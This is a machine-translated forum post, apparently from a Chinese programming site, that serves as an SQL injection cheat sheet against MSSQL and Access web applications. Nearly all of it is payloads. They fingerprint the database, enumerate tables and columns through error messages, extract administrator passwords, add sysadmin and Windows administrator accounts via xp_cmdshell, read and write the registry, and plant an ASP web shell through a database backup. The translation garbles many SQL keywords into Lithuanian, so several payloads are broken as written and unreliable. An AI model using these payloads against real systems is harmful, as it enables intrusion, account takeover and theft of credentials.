Šis straipsnis yra veidrodinis mašininio vertimo straipsnis, spauskite čia norėdami pereiti prie originalaus straipsnio.

Rodinys: 14167|Atsakyti: 0

[Saugus ryšys] SQL injekcijos bendrieji teiginiai

[Kopijuoti nuorodą]
Paskelbta 2014-11-22 17:17:21 | | |
1. Nustatykite, ar yra injekcija
; ir 1 = 1
; ir 1 = 2

2. Preliminarus sprendimas, ar tai mssql
; ir vartotojas>0

3. Spręskite apie duomenų bazių sistemą
; ir (pasirinkite count(*) iš sysobjects)>0 mssql
; ir (pasirinkite count(*) iš msysobjects)>0 prieigos

4. Injekcijos parametras yra simbolis
"ir [užklausos kriterijai] ir "'="

5. Paieškos metu nėra filtruotų parametrų
'ir [užklausos kriterijai] ir '%25'='

6. Atspėkite stalo pavadinimą
; ir (pasirinkite Count(*) iš [lentelės pavadinimas])>0

7. Atspėkite lauką
; ir (lentelės pavadinime pasirinkite Skaičius(lauko pavadinimas)>0

8. Atspėkite įrašo ilgį lauke
; ir (pasirinkite viršų 1 len (lauko pavadinimas) iš lentelės pavadinimo)>0

9. (1) Atspėkite lauko ASCII reikšmę (prieiga)
; ir (pasirinkite 1 viršų ASC(MID(lauko pavadinimas, 1,1)) iš lentelės pavadinimo)>0

(2) Atspėkite lauko ASCII reikšmę (mssql)
; ir (pasirinkite viršų 1 Unicode(substring(lauko pavadinimas,1,1)) iš lentelės pavadinimo)>0

10. Bandymo leidimų struktūra (mssql)
; ir 1=(pasirinkite IS_SRVROLEMEMBER('sysadmin')); --
; ir 1=(pasirinkite IS_SRVROLEMEMBER('serveradmin')); --
; ir 1=(pasirinkite IS_SRVROLEMEMBER('setupadmin')); --
; ir 1=(pasirinkite IS_SRVROLEMEMBER('securityadmin')); --
; ir 1=(pasirinkite IS_SRVROLEMEMBER('diskadmin')); --
; ir 1=(pasirinkite IS_SRVROLEMEMBER('bulkadmin')); --
; ir 1=(pasirinkite IS_MEMBER('db_owner')); --

11. Pridėkite mssql ir sistemos paskyrą
; exec master.dbo.sp_addlogin vartotojo vardas; --
; exec master.dbo.sp_password null, vartotojo vardas, slaptažodis; --
; exec master.dbo.sp_addsrvrolemember sysadmin vartotojo vardas; --
; exec master.dbo.xp_cmdshell 'tinklo vartotojo vartotojo vardas slaptažodis /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; --
; exec master.dbo.xp_cmdshell "grynojo vartotojo vartotojo vardas slaptažodis / add"; --
; exec master.dbo.xp_cmdshell "net localgroup administrators username /add"; --

12. (1) Peržiūrėkite katalogą
; Sukurti lentelės dirs(keliai varchar(100), id int)
; Įterpti dirs exec master.dbo.xp_dirtree 'C:\'
; ir (pasirinkite 1 geriausius kelius iš dirs)>0
; ir (pasirinkite 1 geriausius kelius iš dirs, kur keliai nėra ('keliai gauti iš ankstesnio žingsnio'))>)

(2) Pereiti katalogą
; create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; įterpti temp exec master.dbo.xp_availablemedia; -- Gaukite visus dabartinius diskus
; įterpti į temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Gauti pakatalogių sąrašą
; įterpti į temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Gaukite visų pakatalogių katalogų medžio struktūrą
; įterpti į temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Peržiūrėti failo turinį

13. Saugomos procedūros mssql
xp_regenumvalues Registro šakninis raktas, antrinis raktas
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' grąžina visas rakto reikšmes keliuose įrašų rinkiniuose
xp_regread Šakninis raktas, antrinis raktas, rakto reikšmės pavadinimas
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' grąžina rinkinio rakto reikšmę
xp_regwrite Šakninis raktas, antrinis raktas, reikšmės pavadinimas, reikšmės tipas, reikšmė
Yra dviejų tipų reikšmių tipai REG_SZ REG_DWORD simbolių tipams ir sveikiesiems skaičiams
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' į registrą
xp_regdeletevalue Šakninis raktas, dalinis raktas, reikšmės pavadinimas
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName', kad pašalintumėte reikšmę
xp_regdeletekey "HKEY_LOCAL_MACHINE", "SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey", kad pašalintumėte raktą, įskaitant visas to rakto reikšmes

14. MSSQL atsarginė kopija sukuria žiniatinklio apvalkalą
naudoti modelį
sukurti lentelę cmd(str vaizdas);
įterpti į cmd(str) reikšmes ('<% Dim oScript %>');
Atsarginė duomenų bazės modelio kopija į Disk='C:\l.asp';

15. MSSQL integruotos funkcijos
; ir (pasirinkite @@version)>0, kad gautumėte "Windows" versijos numerį
; ir user_name()='dbo', kad nustatytų, ar prijungtas dabartinės sistemos naudotojas yra SA
; ir (pasirinkite user_name())>0 Išsprogdino prijungtus dabartinės sistemos vartotojus
; ir (pasirinkite db_name())>0, kad gautumėte šiuo metu prijungtą duomenų bazę



MSSQL ranka anotuotos duomenų bazės pažeidimas

1. Atskleiskite dabartinės lentelės pavadinimą ir stulpelio pavadinimą
Pateikite "turintys 1=1--" po injekcijos taško, kad gautumėte grįžtamąjį pranešimą anglų kalba, kuriame galite pamatyti lentelės pavadinimą ir stulpelio pavadinimą. Pateikite "grupė pagal sąrašo pavadinimą, turintį 1=1--", kad gautumėte kitą stulpelio pavadinimą; Toliau pateikite "grupuoti pagal eksponuojamos lentelės pavadinimo sąrašą, eksponuojamos lentelės pavadinimą. Antrojo stulpelio pavadinimas turi 1=1--", kuris suteikia kitą stulpelio pavadinimą. Vykdykite tą patį būdą, kol puslapis nebepateiks klaidų pranešimų, kad gautumėte visus stulpelių pavadinimus. Smulkmenos: Smurtiniai lentelių pavadinimai ir stulpelių pavadinimai naudojami kartu su GROUP BY SQL sakiniuose, kad būtų galima priimti sąlyginius sprendimus. Kadangi sakinys neišsamus, duomenų bazė pateikia klaidos pranešimą ir rodo lentelės pavadinimą bei stulpelio pavadinimą. Pagrindinis metodas gali atskleisti tik dabartinę duomenų bazės lentelę, o jei lentelėje yra daug stulpelių pavadinimų, labai sunku naudoti pagrindinį metodą.

Pirmas. Rodomi visi duomenų bazių pavadinimai
Naudokite sakinį "ir 0<>(select count(*) from master.dbo.sysdatabases, kur name>1 ir dbid=[N])", kad duomenų bazėje būtų rodomi savavališki lentelių pavadinimai ir stulpelių pavadinimai, kur "[N]" reiškia N-tą lentelę duomenų bazėje.
1 žingsnis: Įvedę tašką, pateikite šį teiginį: "ir 0<>(pasirinkite count(*) iš master.dbo.sysdatabases, kur name>1 ir dbid=12)", nes dbid vertė yra nuo 1 iki 5, kurią naudoja sistema, todėl vartotojas turi būti jį sukūręs nuo 6, o mes pateikėme pavadinimą>1, pavadinimo laukas yra simbolio tipo laukas, ir skaičių palyginimas bus neteisingas, todėl po pateikimo, IE grąžins šią informaciją: "Microsoft OLE DB teikėjas ODBC tvarkyklės klaida ?e07' [Microsoft][ODBC SQL Server tvarkyklė][SQL serveris] konvertuoja nvarchar reikšmę 'Northwind' į duomenų tipą int stulpelis. Tokiu būdu atskleidžiama pavadinimo lauko reikšmė, tai yra, gauname duomenų bazės pavadinimą "Šiaurės vėjas". Pakeitus "dbid" reikšmę, galima gauti visus duomenų bazių pavadinimus.

ir 0<>(select count(*) from master.dbo.sysdatabases, kur name>1 ir dbid=[N])-- Modifikuokite N, kad išsprogdintumėte visus duomenų bazių pavadinimus iš 6


Antra. Rodyti visus lentelių pavadinimus nurodytoje duomenų bazėje
Gavę duomenų bazės pavadinimą, dabar turite gauti visus bibliotekos lentelių pavadinimus, pateikti šį teiginį: "ir 0<>(pasirinkite 1 geriausią pavadinimą iš master.dbo.sysobjects, kur xtype='U')", čia yra lentelės pavadinimas pagrindinėje duomenų bazėje, o užklausos SQL sakinys grąžina pavadinimo reikšmę, tada palyginkite ją su skaičiumi 0, kad pavadinimo reikšmė būtų atskleista. Po pateikimo, lentelės pavadinimas buvo "spt_monito" buvo atskleistas.
Tada atskleidžiamos kitos lentelės ir pateikiamas toks teiginys: "ir 0<>(pasirinkite 1 viršų pavadinimą iš master.dbo.sysobjects, kur xtype='U' ir pavadinimas not in('spt_monito'))", ir kita lentelė pavadinimu "cd512" yra eksponuojama. Failas "ir pavadinimas ne (' spt_monito',' CD512',..))" Galite sužinoti visus lentelių pavadinimus.

ir 0<>(pasirinkite viršų 1 pavadinimas iš [nurodyti duomenų bazės pavadinimą].dbo.sysobjects kur xtype='U')--
ir 0<>(pasirinkite viršų 1 pavadinimas iš [nurodyti duomenų bazės pavadinimą].dbo.sysobjects kur xtype='U' ir pavadinimas not in('[Išskleistos lentelės pavadinimas]'))--
ir 0<>(pasirinkite viršų 1 pavadinimas iš [nurodyti duomenų bazės pavadinimą].dbo.sysobjects kur xtype='U' ir pavadinimas not in('[Sprogstamosios lentelės pavadinimas]', '[Išsprogęs antrosios lentelės pavadinimas]'))--

4. Atskleiskite visus stulpelių pavadinimus nurodytoje lentelėje
ir 0<>(pasirinkite count(*) iš bbs.dbo.sysobjects, kur xtype='U' ir name='admin' ir uid>(str(id)))
Konvertuokite ID reikšmę į simbolio tipą ir palyginkite ją su sveikojo skaičiaus reikšme. ID numeris išleistas. Reikšmė yra: 949578421 name='lentelės pavadinimas'

ir 0<>(pasirinkite 1 populiariausią pavadinimą iš wutong.dbo.syscolumns, kur id=949578421)-- Rodomas lauko pavadinimas administratoriaus lentelėje

Pakartotinai pateikti ir 0<>(pasirinkite viršų 1 pavadinimas iš wutong.dbo.syscolumns, kur id = 949578421 ir pavadinimas ne ('adduser')))--
Failas "ir pavadinimas ne (' spt_monito',' CD512',..))" Visus laukų pavadinimus galite rasti administratoriaus lentelėje.


ir 0<>(select count(*) from [specify database name].dbo.sysobjects where xtype='U' and name='[Išskleidžiamo lauko lentelės pavadinimas]" ir uid>(str(id)))--Išskleidžiamo lauko lentelės pavadinimo ID reikšmė

ir 0<>(pasirinkite 1 viršutinį pavadinimą iš [nurodyti duomenų bazės pavadinimą].dbo.syscolumns kur id=išskleista id reikšmė)-- Išskleidžiamo ID reikšmės lentelės lauko pavadinimas

ir 0<>(pasirinkite 1 viršų pavadinimą iš [nurodyti duomenų bazės pavadinimą].dbo.syscolumns, kur id=Sprogstamojo id reikšmė ir pavadinimas not in('[Išskleisto lauko pavadinimas]')))--



5. Perskaitykite duomenis nurodytoje lentelėje

ir 0<(pasirinkite A_ID iš wutong.dbo.admin, kur A_UserID>1) - turinys, kuris sulaužė A_PWD

ir 0<(pasirinkite [esamą lauką] iš [nurodyti duomenų bazės pavadinimą].dbo.[užklausos lentelės pavadinimas], kur [lauko pavadinimas, skirtas turiniui sprogdinti]>1)--

ir 0<(pasirinkite A_ID iš wutong.dbo.admin, kur A_PWD>1 ir A_UserID='admin')-- Administratoriaus slaptažodis yra atskleistas


ir 0<(Pasirinkite Top 1 A_UserID FROM admin, kur A_ID<>1)-- Administratoriaus vardas id<>1 (fuhao)

ir 0<(Pasirinkite Top 1 A_UserID FROM admin, kur A_ID <>1 ir A_UserID <> 'fuhao')-- Antrojo administratoriaus vardas <> nelygus (tuiguang)

ir 0<(Pasirinkite Top 1 A_UserID FROM admin, kur A_ID <>1 ir A_UserID <> 'fuhao'ir A_UserID <> 'tuiguang')--

Sužinoję duomenų bazės lentelės pavadinimą ir stulpelio pavadinimą, galite naudoti "užklausos sakinį", kad perskaitytumėte bet kokią duomenų bazės informaciją. Pavyzdžiui, jei norite perskaityti N-tą duomenis lentelės stulpelyje, galite pateikti teiginį: "ir (Pasirinkite 1 stulpelio pavadinimą FROM lentelės pavadinimas, kur id=[N])>1" ([N] reiškia N-tus duomenis stulpelyje), o norimus duomenis galite sužinoti iš IE pateiktos informacijos.






Ankstesnis:Kaip paslėpti suspaustą rar failą jpg faile
Kitą:Surinkite "Harį Poterį" 1~7 Išimkite jį ir pasidalinkite juo Jei jums nepatinka, nepurkškite
Atsakomybės apribojimas:
Visa programinė įranga, programavimo medžiaga ar straipsniai, kuriuos skelbia Code Farmer Network, yra skirti tik mokymosi ir mokslinių tyrimų tikslams; Aukščiau nurodytas turinys negali būti naudojamas komerciniais ar neteisėtais tikslais, priešingu atveju vartotojai prisiima visas pasekmes. Šioje svetainėje pateikiama informacija gaunama iš interneto, o ginčai dėl autorių teisių neturi nieko bendra su šia svetaine. Turite visiškai ištrinti aukščiau pateiktą turinį iš savo kompiuterio per 24 valandas nuo atsisiuntimo. Jei jums patinka programa, palaikykite autentišką programinę įrangą, įsigykite registraciją ir gaukite geresnes autentiškas paslaugas. Jei yra kokių nors pažeidimų, susisiekite su mumis el. paštu.

Mail To:help@itsvse.com